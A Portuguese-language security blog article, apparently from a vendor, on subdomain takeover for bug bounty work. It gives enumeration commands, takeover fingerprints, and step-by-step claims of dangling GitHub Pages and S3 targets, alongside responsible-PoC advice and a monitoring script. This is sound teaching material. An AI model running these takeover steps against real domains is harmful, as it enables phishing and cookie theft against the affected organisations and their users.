O controle de subdomínios é uma das vulnerabilidades de alta gravidade reproduzíveis de maneira mais confiável em programas de recompensa de bugs. Quando um registro CNAME aponta para um serviço não reivindicado, qualquer invasor pode registrar esse serviço e veicular conteúdo malicioso em seu domínio confiável, roubando cookies, realizando phishing e ignorando restrições CORS.
Um controle de subdomínio ocorre quando: (1) legacy.company.com tem um CNAME apontando para company.azurewebsites.net, (2) o Azure Web App é excluído/desprovisionado, deixando o CNAME "pendente", (3) um invasor registra um novo Azure Web App com o mesmo nome de host, (4) o invasor agora controla o conteúdo servido em legacy.company.com.
.company.com são enviados para o conteúdo controlado do invasor*.company.com confiará no subdomínio do invasor# Passive enumeration
subfinder -d target.com -silent -all -o passive_subs.txt
# Active brute force
amass enum -active -d target.com -o active_subs.txt
# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[].name_value' | sort -u | tee ct_subs.txt
# Combine and deduplicate
cat passive_subs.txt active_subs.txt ct_subs.txt | \
sort -u > all_subs.txt
# Check which subdomains resolve
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt
# Find CNAMEs
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt
# Example output:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> company.statuspage.io
# Check if the CNAME target is unclaimed
dig +short legacy.target.com
# Returns: company.azurewebsites.net
# Check if that hostname responds
curl -v -H "Host: company.azurewebsites.net" \
https://company.azurewebsites.net 2>&1 | head -20
# Look for "takeover fingerprints":
# Azure: "404 Web Site not found"
# GitHub Pages: "There isn't a GitHub Pages site here"
# Heroku: "No such app"
# AWS S3: "NoSuchBucket"
# Fastly: "Fastly error: unknown domain"
# Nuclei has built-in subdomain takeover templates
nuclei -l all_subs.txt -t takeovers/ -silent
# Or use subjack
go install github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
-ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
-o takeover_results.txt
O can-i-take-over-xyz repositório mantém impressões digitais para serviços 500+. Principais serviços a serem verificados:
| Serviço | Impressão digital | Assumir? |
|---|---|---|
| GitHub Pages | "Não há um site de páginas GitHub aqui" | ✅ Sim |
| AWS S3 | "NoSuchBucket" | ✅ Sim (mesma região) |
| Aplicativos Web do Azure | "Site 404 não encontrado" | ✅ Sim |
| Heroku | "Esse aplicativo não existe" | ✅ Sim |
| Shopify | "Desculpe, esta loja não está disponível no momento" | ✅ Sim |
| Fastly | "Erro rápido: domínio desconhecido" | ✅ Sim |
| Pantheon | "404 erro site desconhecido" | ✅ Sim |
| Wordpress.com | "Você quer se registrar..." | ✅ Sim |
| Zendesk | "Central de Ajuda Fechada" | ✅ Sim |
| Surto.sh | "projeto não encontrado" | ✅ Sim |
Um PoC responsável demonstra impacto SEM: veicular conteúdo malicioso, capturar quaisquer cookies/sessões de usuários reais, personificar o alvo ou causar qualquer interrupção. Sua página PoC deve identificar-se claramente como uma demonstração de pesquisa de segurança e não conter nenhuma funcionalidade confidencial.
# Step 1: Confirm dangling CNAME
dig +short blog-old.target.com
# Returns: targetcompany.github.io
# Step 2: Check fingerprint
curl -s https://blog-old.target.com | grep -i "github"
# Returns: "There isn't a GitHub Pages site here"
# Step 3: Create PoC repository
# Create GitHub repo: targetcompany.github.io (if available) or
# Create GitHub Pages with custom domain matching CNAME target
# Step 4: Add CNAME file in repo
echo "blog-old.target.com" > CNAME
# Step 5: Add responsible PoC page
cat > index.html << 'EOF'
<!-- SECURITY RESEARCH - SUBDOMAIN TAKEOVER PoC -->
<!-- This page is hosted by a security researcher -->
<!-- to demonstrate a subdomain takeover vulnerability -->
<!-- No malicious actions are being performed -->
<h1>Subdomain Takeover - Security Research PoC</h1>
<p>This subdomain (blog-old.target.com) is vulnerable to takeover.</p>
<p>Researcher: [your handle]</p>
<p>Reported: [date]</p>
EOF
# Confirm dangling CNAME
dig +short assets-legacy.target.com
# Returns: target-legacy-assets.s3.amazonaws.com
# Check response
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# "The specified bucket does not exist" -> Vulnerable!
# Extract region from response headers or try:
# us-east-1 is default if no region header
# Create PoC bucket (SAME NAME as CNAME target)
aws s3 mb s3://target-legacy-assets --region us-east-1
# Enable static hosting
aws s3 website s3://target-legacy-assets \
--index-document index.html
# Upload responsible PoC
echo "<h1>Subdomain Takeover PoC - Security Research</h1>" | \
aws s3 cp - s3://target-legacy-assets/index.html \
--content-type text/html --acl public-read
# Demonstrate cookie access (ONLY with test account YOU control)
# Create a test account, set cookies, visit your PoC page
# Screenshot showing document.cookie contents
# This proves cookie theft scope
# Document with screenshots:
# 1. DNS lookup showing dangling CNAME
# 2. Fingerprint response (NoSuchBucket, etc.)
# 3. Your PoC page hosted at the subdomain
# 4. Browser showing the legitimate domain + your content
# 5. (Optional) Test cookie access from own test account
# Automate continuous subdomain monitoring
# Check all CNAMEs weekly for dangling status
#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
cname=$(dig +short CNAME "$subdomain" | head -1)
if [ -n "$cname" ]; then
# Resolve the CNAME target
ip=$(dig +short "$cname" | tail -1)
if [ -z "$ip" ]; then
echo "DANGLING CNAME: $subdomain -> $cname"
# Send alert
fi
fi
done < subdomains.txt
Semelhante às aquisições CNAME, os registros A que apontam para IPs elásticos liberados ou IPs públicos do Azure podem ser assumidos pelo próximo cliente que obtiver esse IP. Os IPs elásticos da AWS e os PIPs do Azure liberados para o pool podem ser reatribuídos à conta de qualquer cliente.
# Check if A record points to a cloud IP that's unallocated
dig +short api-legacy.target.com
# Returns: 52.xxx.xxx.xxx
# Check if the IP belongs to AWS
curl https://ip-ranges.amazonaws.com/ip-ranges.json | \
python3 -c "import json,sys; \
[print(p['prefix'], p['region'], p['service']) \
for p in json.load(sys.stdin)['prefixes'] \
if '52.xxx.xxx' in p.get('ip_prefix','')]"
# If AWS IP, try to claim it by spinning up EC2 with that IP
# (Only do with explicit permission)
Se um subdomínio delegar servidores de nomes para uma zona que não existe mais (domínio expirado), um invasor poderá registrar esse domínio e controlar TODOS os DNS do subdomínio. Isso é mais raro, mas resulta em controle completo de subdomínios, incluindo email, HTTPS e todos os subdomínios da zona delegada.
O gerenciamento de superfície de ataque do KENSAI monitora continuamente seus subdomínios em busca de CNAMEs pendentes, serviços desprovisionados e riscos de aquisição antes que os invasores os encontrem.
Iniciar verificação gratuita →A gravidade depende da função e do nível de confiança do subdomínio. Um subdomínio de marketing sem cookies no escopo pode ser Médio. Um subdomínio listado como um URI de redirecionamento OAuth, confiável pelas políticas CORS, ou recebendo cookies com escopo para o domínio raiz é Crítico. Sempre avalie os caminhos de ataque reais disponíveis para um invasor que controla o subdomínio.
Isso depende inteiramente das regras do seu programa de recompensas por bugs. Muitos programas permitem aquisições de PoC com uma página de divulgação responsável. Alguns proíbem explicitamente. Em caso de dúvida, forneça a evidência DNS (CNAME pendente + resposta de impressão digital) sem assumir o controle. Inclua uma captura de tela do que seria possível fazer caso o serviço fosse registrado.
As aquisições de subdomínios devem ser tratadas como críticas — a correção é simples (excluir o registro DNS) e o risco de exploração real por invasores é alto. A maioria dos programas espera correção no mesmo dia ou no dia seguinte para aquisições de subdomínios ativos.
A segurança não é opcional.
🗡️ A equipe KENSAI